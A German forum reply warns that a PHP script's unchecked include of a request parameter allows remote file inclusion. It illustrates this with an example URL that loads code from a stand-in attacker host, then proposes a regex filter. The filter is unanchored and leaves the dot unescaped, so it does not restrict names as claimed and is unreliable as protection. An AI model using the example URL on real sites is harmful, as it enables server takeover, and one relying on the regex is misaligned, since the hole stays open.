Hi Gabi,
Ausschnitt aus der tb_main.php
<?php include ("$incl"); ?>
Die Site läuft mit anderen PHP Versionen ohne Probleme
Prüfst du $incl vorher so ab (z.B.: mittels regulärem Ausdruck), das nur erlaubte Seiten eingebunden werden können?
Wenn nein:
dann hast du bislang richtig Glück gehabt!
"Wenn "URL fopen wrappers" in PHP aktiviert sind (in der Standardkonfiguration ist das der Fall) können Sie als Pfad der einzubindenden Datei auch eine URL (...) statt einer lokalen Pfadangabe angeben." http://de3.php.net/manual/de/function.include.php
Also: .../tb_main.php?incl=http://freewebspace.de/evil-h4x03/boese.txt
boese.txt enthält dabei ein von _mir_ geschriebenes Programm das auf _deinem_ Server ausgeführt wird. Das ist ganz schlecht. Ganz ganz schlecht. So schlecht, dass ein verantwortungsbewußter Administrator dein Script sperren würde.
Gruss,
Carsten
P.S:
if(!preg_match('#(\w+/)*\w+.\w+#',$incl))
$incl='incl/news.inc';
lässt nur noch 'übliche' Dateinnamen durch, sonst wird eine Standard Datei eingebunden. (Namen und Pfad nur aus Buchstaben und Ziffern, nur genau ein Punkt mitten im Namen.)